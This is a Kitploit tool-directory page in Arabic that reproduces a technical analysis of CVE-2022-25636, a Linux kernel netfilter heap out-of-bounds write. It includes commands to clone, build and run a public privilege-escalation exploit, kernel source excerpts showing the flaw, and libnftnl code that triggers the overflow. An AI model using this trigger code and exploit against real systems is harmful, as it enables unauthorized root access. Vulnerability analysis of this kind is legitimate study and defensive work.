Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/chenaotian/cve-2022-25636
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

تحليل تقني مفصّل وتوثيق استغلال لثغرة CVE-2022-25636، وهي ثغرة تجاوز سعة الكومة (heap overflow) في مكوّن netfilter داخل نواة Linux تتيح تصعيد الامتيازات محليًا عبر رشّ الكومة (heap spraying) واستغلال الاستخدام-after-free (UAF).

عرض المستودع
324منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-25636 استغلال ثغرة netfilter لرفع الصلاحيات في النواة

[toc]

ملخص الثغرة

رقم الثغرة: CVE-2022-25636

المنتج المتأثر: linux kernel - netfilter

الإصدارات المتأثرة: linux kernel 5.4 ~

خطورة الثغرة: وجود كتابة خارج حدود الكومة (heap out-of-bounds write) في وحدة netfilter في النواة، مما قد يؤدي إلى رفع الصلاحيات عند امتلاك صلاحية SYS_ADMIN

إعداد البيئة

توجد الثغرة في وحدة netfilter في النواة، وتقع الشيفرة المتأثرة في 3 وحدات ko.

nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

التشغيل المباشر عبر qemu يسبب مشاكل، إذ لا يمكن تحميل وحدات ko، لذلك نستخدم vmware مع جهازين للتنقيح المشترك.

في ubuntu 21.10 يمكن استبدال النواة يدويًا:

apt-get install linux-image-5.13.0-30-generic

ثم احذف النواة الأصلية وقم بترجمة الاستغلال:

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

نتيجة رفع الصلاحيات (نسبة النجاح أقل من 50%):

image-20220318151010142

مبدأ الثغرة

موقع حدوث الثغرة

الدالة المتأثرة هي nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

عند تعيين flow->rule->action.entries (هذه البنية هي بنية متغيرة الطول دون فحص حدود) لا يتم إجراء فحص لحدود الكومة، مما يؤدي إلى كتابة خارج الحدود لعدد صحيح (4 أو 5) ومؤشر.

مكدس الاستدعاءات

تُستخدم الدالة في nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

يمكن ملاحظة أن الدالة nft_flow_rule_create تخصص البنية flow وتعالجها بناءً على عدد بنى rule المرسلة من مساحة المستخدم، حيث يتم العد باستخدام المتغير num_actions. لكن أثناء العد يتم فقط حساب الـ rule التي تحمل علم NFT_OFFLOAD_F_ACTION، ويتم تخصيص بنية بحجم يتناسب مع ذلك العدد. ومع ذلك، عند استدعاء معالجة offload لاحقًا، لا يتم استخدام num_actions في الحلقة، بل يتم التكرار بعدد الـ rule كما في السابق، دون إعادة التحقق من علم NFT_OFFLOAD_F_ACTION. بمعنى آخر، عندما تحتوي الـ rule المُمرَّرة على rule لا تحمل علم NFT_OFFLOAD_F_ACTION، فإن عدد مرات استدعاء offload لاحقًا سيكون أكبر من عدد عناصر flow->rule->action.entries المخصصة مسبقًا. داخل offload سيتم استدعاء الدالة المعيبة nft_fwd_dup_netdev_offload، وفي كل استدعاء تزداد قيمة ctx->num_actions بمقدار 1، وctx->num_actions تُهيَّأ بقيمة 0، وفي النهاية ستصبح ctx->num_actions أكبر من نطاق مصفوفة flow->rule->action.entries، مما يسبب الكتابة خارج الحدود.

بعض البنيات:

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

مكدس الاستدعاءات:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

استخدام netfilter وتشغيل الثغرة

رابط مرجعي: https://www.openwall.com/lists/oss-security/2022/02/21/2

يوضح هذا البريد الإلكتروني كيفية استخدام netfilter عبر مكتبتَي libmnl وlibnftnl للغة C، وتكمن نقطة تشغيل الثغرة الرئيسية في ما إذا كانت الـ rule المضافة تحمل علم NFT_OFFLOAD_F_ACTION أم لا. فقط الـ rule المضافة عبر nftnl_expr_alloc("immediate"); تحمل علم NFT_OFFLOAD_F_ACTION:

for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

استغلال الثغرة

الاستغلال ليس مستقرًا جدًا، لكن التقنية المستخدمة فيه بارعة. الثغرة تتيح كتابة مؤشر غير قابل للتحكم في إزاحة ثابتة خارج الحدود، وأرى شخصيًا أن صعوبة الاستغلال عالية جدًا. دعونا نحلل الأسلوب التقني باختصار. استنادًا إلى شيفرة الثغرة، يمكن معرفة أن كل كتابة خارج الحدود لا يمكنها كتابة سوى عدد صحيح (id، ثابت بقيمة 4 أو 5) ومؤشر (*dev)، حيث يشير المؤشر إلى البنية struct net_device. سنركز هنا على كتابة مؤشر dev:

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

بشأن البنية struct flow_rule، ولأنها بنية متغيرة الطول، فإن نطاق الأحجام التي يمكن تخصيصها يرتبط بإمكانية نجاح الاستغلال.

  • عند تمرير rule واحدة فقط، يكون حجم البنية 0x70، وهي تنتمي إلى kmalloc-128(0x80). إذا حدثت كتابة خارج الحدود، فسيُكتب مؤشر dev عند الإزاحة 0x88، أي خارج الحدود بمقدار 0x8.
  • إذا تم تمرير rule اثنتين، يكون حجم البنية 0xC0، وهي تنتمي تمامًا إلى kmalloc-192(0xC0). إذا حدثت كتابة خارج الحدود، فسيُكتب مؤشر dev عند الإزاحة 0xd8، أي خارج الحدود بمقدار 0x18، وعند الكتابة خارج الحدود مرتين ستكون عند الإزاحة 0x18 + 0x50...

البنيات ذات الصلة:

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};
تنزيل الأداة